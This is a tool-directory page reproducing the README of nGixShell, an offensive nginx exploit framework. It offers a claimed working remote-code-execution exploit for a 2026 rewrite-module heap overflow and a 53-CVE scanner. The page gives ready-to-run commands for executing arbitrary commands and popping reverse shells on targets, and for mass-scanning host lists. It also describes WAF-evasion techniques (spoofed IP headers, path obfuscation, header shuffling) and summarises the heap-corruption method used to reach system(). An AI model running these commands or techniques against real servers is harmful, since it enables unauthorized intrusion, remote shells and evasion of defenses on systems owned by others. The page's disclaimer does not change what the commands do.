Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
nGixshell — nginx CVE scanner + RCE exploit framework (CVE-2026-42945 + 16 others) | Kitploit
Tools/GitHubGitHub/mateusverass/ngixshell
ReconnaissanceVulnerability ScannersExploit FrameworksWeb Application ExploitationWAF BypassWeb SecurityPenetration TestingCommand and ControlSubdomain EnumerationRed TeamingPayload Development
2183 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
mateusverass/ngixshell

nGixshell

nginx CVE scanner + RCE exploit framework (CVE-2026-42945 + 16 others)

View Repository
nGixShell

Python CVEs Zero deps License


nGixShell is an nginx CVE scanner and RCE exploit framework. It ships a working proof-of-concept for CVE-2026-42945 — a critical heap buffer overflow in ngx_http_rewrite_module — and a scanner covering 53 nginx CVEs with automated HTTP probes, fingerprinting, WAF detection/bypass, web security auditing, and report generation.

Zero external dependencies. Pure Python 3 stdlib.


Quick Start

root@kitploit:~
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

No flags required — pointing the tool at a target runs everything automatically.
TLS is auto-detected. nginx is fingerprinted even with server_tokens off.


Usage

root@kitploit:~
python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modes

WAF Detection & Bypass

FlagDescription
--waf-detectDetect WAF before scanning
--waf-bypassEnable all bypass techniques (also runs detection)
--waf-ip IPSpoof this IP in bypass headers (default: random RFC1918)

Bypass techniques (all active when --waf-bypass is set):

Detected WAFs: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Web Audit

Runs automatically in scan mode. All modules can be skipped individually.

  • Header audit — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, version-leaking headers
  • Path discovery — 50+ paths; sentinel probe eliminates false positives from catch-all 403/301 rules
  • Virtual host enumeration — requires status AND body diff to avoid default-block false positives
  • TLS audit — tests TLS 1.0–1.3 support, certificate expiry, and self-signed detection
  • stub_status — parses active connection metrics from /nginx_status if exposed

Connection

FlagDescription
--port PORTOverride port
--tlsForce TLS (auto-detected by default)

HTTP

FlagDescription
--user-agent UACustom User-Agent
--auth USER:PASSHTTP Basic auth
--cookie VALUE

Rate / Timing

FlagDescription
--rate-limit RPSMax requests per second
--jitter MSRandom delay 0–MS ms between requests

Output

FlagDescription
--output FILE

CVE Coverage

53 entries spanning 2009–2026. Sorted by CVSS.


The Bug (CVE-2026-42945)

nginx's rewrite script engine uses a two-pass model: compute buffer size, then copy. The is_args flag is set on the main engine when a rewrite replacement contains ?, but the length-calculation pass runs on a freshly zeroed sub-engine:

  • Length pass — sees is_args = 0 → returns raw capture length
  • Copy pass — sees is_args = 1 → calls ngx_escape_uri(NGX_ESCAPE_ARGS), expanding each unsafe byte to 3 bytes

The copy overflows the undersized heap buffer with attacker-controlled URI data. Exploitation corrupts an adjacent ngx_pool_t cleanup pointer via cross-request heap feng shui, redirecting it to a fake ngx_pool_cleanup_s that calls system() on pool destruction.

Affected Versions

ProductVulnerableFixed
NGINX Open Source0.6.27 – 1.30.01.31.0, 1.30.1
NGINX PlusR32 – R36R36 P4, R35 P2, R32 P6

Vendor advisory: https://my.f5.com/manage/s/article/K000160932


Lab Setup

Tested on Ubuntu 24.04 LTS. Requires Docker and Python 3.8+.

root@kitploit:~
# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Full scan
python3 ngixshell.py 127.0.0.1:19321

# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Disclaimer

For authorized security testing, CTF competitions, and research only.

Download Tool
FlagDescription
(none)Auto — fingerprint + CVE scan + web audit
--cmd 'CMD'Execute command via CVE-2026-42945 RCE
--cmd-file FILEExecute commands from file (joined with ;)
--shellPop a reverse shell
--shell-type TYPEPayload: bash python perl php nc powershell (default: python)
--upgrade-shellAuto-send PTY upgrade after shell connects
--subdomain-scan DOMAINFind vulnerable nginx on subdomains
--cve CVE-IDTest one specific CVE
--list-cvesPrint all 53 CVEs with CVSS and probe info
--list-candidatesPrint heap address candidates
--dry-runFingerprint + scan only, no exploit
--target-file FILEScan multiple hosts from a file
TechniqueDetail
IP spoofingX-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP
UA rotation11 real browser/bot User-Agents, randomised per request
Path obfuscationdouble-slash, /./ padding, percent-encoding, case variation
Header case shufflerandomises header name casing to break WAF pattern matching
FlagDescription
--skip-headersSkip HTTP security header audit
--skip-pathsSkip path/file discovery
--skip-vhostsSkip virtual host enumeration
--skip-tlsSkip TLS protocol audit
--path-wordlist FILEExtra paths to probe (one per line)
--proxy URLProxy: http://, https://, socks5://
Cookie header
--header NAME:VALUEExtra header (repeatable)
--retry NRetry inconclusive probes (default: 1)
--timeout-multiplier XScale all timeouts (default: 1.0)
Write log to FILE
--jsonPrint JSON summary at end
--html-report [FILE]Generate HTML report (default: ngixshell_<host>_<ts>.html)
--verboseDebug output
CVECVSSComponentDescription
CVE-2026-429459.8 CRITICALrewriteHeap overflow → RCE (exploited)
CVE-2026-429468.1 HIGHrewriteMemory corruption (same advisory)
CVE-2022-417417.8 HIGHmp4Memory corruption via malicious mp4
CVE-2016-12477.8 HIGHpackagingLog file symlink privilege escalation
CVE-2021-230177.7 HIGHresolverOff-by-one heap overwrite
CVE-2026-407017.5 HIGHrequestMemory corruption in request processing
CVE-2026-429347.5 HIGHrequestMemory corruption (same advisory)
CVE-2026-277847.5 HIGHmp4Buffer overflow via crafted mp4
CVE-2026-326477.5 HIGHmp4Buffer overflow (sibling of above)
CVE-2024-249907.5 HIGHHTTP/3Use-after-free in QUIC module
CVE-2024-249897.5 HIGHHTTP/3NULL pointer dereference in QUIC
CVE-2024-310797.5 HIGHHTTP/3Stack overflow in QUIC encoder
CVE-2024-327607.5 HIGHHTTP/3Buffer overwrite via HEADERS frame
CVE-2022-417427.5 HIGHmp4Heap memory disclosure
CVE-2017-75297.5 HIGHrange filterInteger overflow → out-of-bounds read
CVE-2016-07467.5 HIGHresolverUse-after-free via crafted DNS response
CVE-2014-01337.5 HIGHSPDYHeap overflow in SPDY implementation
CVE-2014-00887.5 HIGHSPDYMemory corruption in SPDY
CVE-2013-45477.5 HIGHcoreSpace+NUL URI bypass
CVE-2013-20287.5 HIGHcoreChunked encoding stack overflow
CVE-2012-11807.5 HIGHproxyUse-after-free in proxy module
CVE-2009-35557.5 HIGHSSLTLS renegotiation injection (MITM)
CVE-2009-26297.5 HIGHcoreBuffer underflow in URI parsing
CVE-2026-429266.5 MEDIUMHTTP/2Request splitting via proxy
CVE-2026-276546.5 MEDIUMWebDAVHeap overflow in DAV module
CVE-2026-287536.5 MEDIUMmailHeader injection in mail proxy
CVE-2026-16426.5 MEDIUMproxySSL upstream session reuse leak
CVE-2019-95116.5 MEDIUMHTTP/2Data Dribble CPU/memory DoS
CVE-2012-20896.8 MEDIUMmp4Buffer overflow via mp4 request
CVE-2018-168455.5 MEDIUMmp4Integer underflow → crash + disclosure
CVE-2019-203725.3 MEDIUMproxyHTTP request smuggling
CVE-2026-404605.3 MEDIUMHTTP/3QUIC connection spoofing
CVE-2026-287555.3 MEDIUMSSLMemory disclosure in OCSP processing
CVE-2025-234195.3 MEDIUMSSLTLS session resumption cert bypass
CVE-2024-352005.3 MEDIUMHTTP/3NULL pointer dereference
CVE-2024-341615.3 MEDIUMHTTP/3Memory disclosure
CVE-2016-44505.3 MEDIUMcoreNULL pointer via chunked request body
CVE-2016-07425.0 MEDIUMresolverInvalid pointer via crafted UDP packet
CVE-2016-07475.0 MEDIUMresolverInsufficient CNAME resolution limit
CVE-2014-35565.0 MEDIUMmailSTARTTLS command injection
CVE-2013-20705.3 MEDIUMproxyBackend response disclosure
CVE-2011-49635.0 MEDIUMaccessIPv6 literal access control bypass
CVE-2011-43155.0 MEDIUMresolverHeap overflow via crafted DNS response
CVE-2009-38965.0 MEDIUMcoreNULL pointer dereference DoS
CVE-2025-538594.3 MEDIUMmailSMTP command injection
CVE-2014-36164.3 MEDIUMSSLTLS SNI virtual host confusion
CVE-2026-276514.3 MEDIUMmailNULL pointer dereference in mail proxy
CVE-2019-95134.3 MEDIUMHTTP/2Resource Loop CPU DoS
CVE-2019-95164.3 MEDIUMHTTP/20-Length Headers memory exhaustion
CVE-2018-168434.3 MEDIUMHTTP/2Excessive memory consumption
CVE-2018-168444.3 MEDIUMHTTP/2Excessive CPU via SETTINGS frames
CVE-2024-73474.7 MEDIUMmp4Out-of-bounds read
CVE-2009-38984.9 MEDIUMWebDAVDirectory traversal via COPY/MOVE